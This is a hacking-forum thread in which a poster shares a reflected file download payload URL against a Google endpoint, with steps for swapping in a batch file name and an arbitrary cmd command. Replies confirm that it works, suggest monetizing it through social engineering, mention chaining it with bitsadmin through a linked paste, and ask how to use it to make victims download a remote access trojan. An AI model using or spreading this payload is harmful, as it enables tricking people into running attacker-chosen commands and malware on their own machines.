+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: UNPATCHED GOOGLE VULNERABILITY (RARE!!!) (/showthread.php?tid=5223892)
Pages: Pages
1
2
UNPATCHED GOOGLE VULNERABILITY (RARE!!!) - Demoralise - Apr 2, 2016
This is a reflected file download (RFD) vulnerability.
http://www.google.com/finance/info;googlefinancepasswords.bat?q=ELI:ALTR&callback=gpedit.msc
How to use:
- Only browser this works in that I know of is Firefox (most recent version) and IE < 11.
- Change googlefinancepasswords.bat to the desired batch file name.
- Change gpedit.msc to the desired cmd command.
You're welcome :)
* - Fleckens - Apr 2, 2016
How can this be profitted? Let me know.
* - Zenfex - Apr 2, 2016
Thank you very much, good sir :)
* - rezzex - Apr 2, 2016
This actually works, tried with some Programs like notepad and all worked, the actually Program after it got opened gets a Error cause of wrong Arguments but it works :)
* - Evolved ® - Apr 2, 2016
What can you do with this...?
* - Nuclear3mbargo - Apr 2, 2016
Here is a talk about RFD
https://www.youtube.com/watch?v=dl1BJUNk8V4
How to monetize? Using social engineering.
* - granz - Apr 2, 2016
Yeah looks nice but hard to understand xD
* - ronald51 - Apr 3, 2016
thanks a lot for this sharing, very handy.
* - ThaVinci - Apr 3, 2016
with bitsadmin command on Windows this works like a charm, google may fix this soon or I don't know, could be viral for ie and firefox users lol ;)
http://pastebin.com/tYngjb7P
* - Demoralise - Apr 9, 2016
(Apr 3, 2016 12:06 PM)HandBrake Wrote: with bitsadmin command on Windows this works like a charm, google may fix this soon or I don't know, could be viral for ie and firefox users lol ;)Very good implementation!
http://pastebin.com/tYngjb7P
* - gizmodo - Apr 9, 2016
thanks, for the info..will try this tonight.
* - ๖ۣۜSyria - Apr 9, 2016
I have a question what will this do?
* - SIM-2212192 - Apr 9, 2016
Tried it on google chrome and microsoft edge, didn't seem to work on either, but maybe I'm just retarded.
Maybe it's only IE and FireFox like you said. ):
* - DurkQ - Apr 10, 2016
So, can I use this link to get my victim to download my RAT? Could somone please show me how...
* - LaiLaiZhen - Apr 10, 2016
where is your payload hosted for this exploit?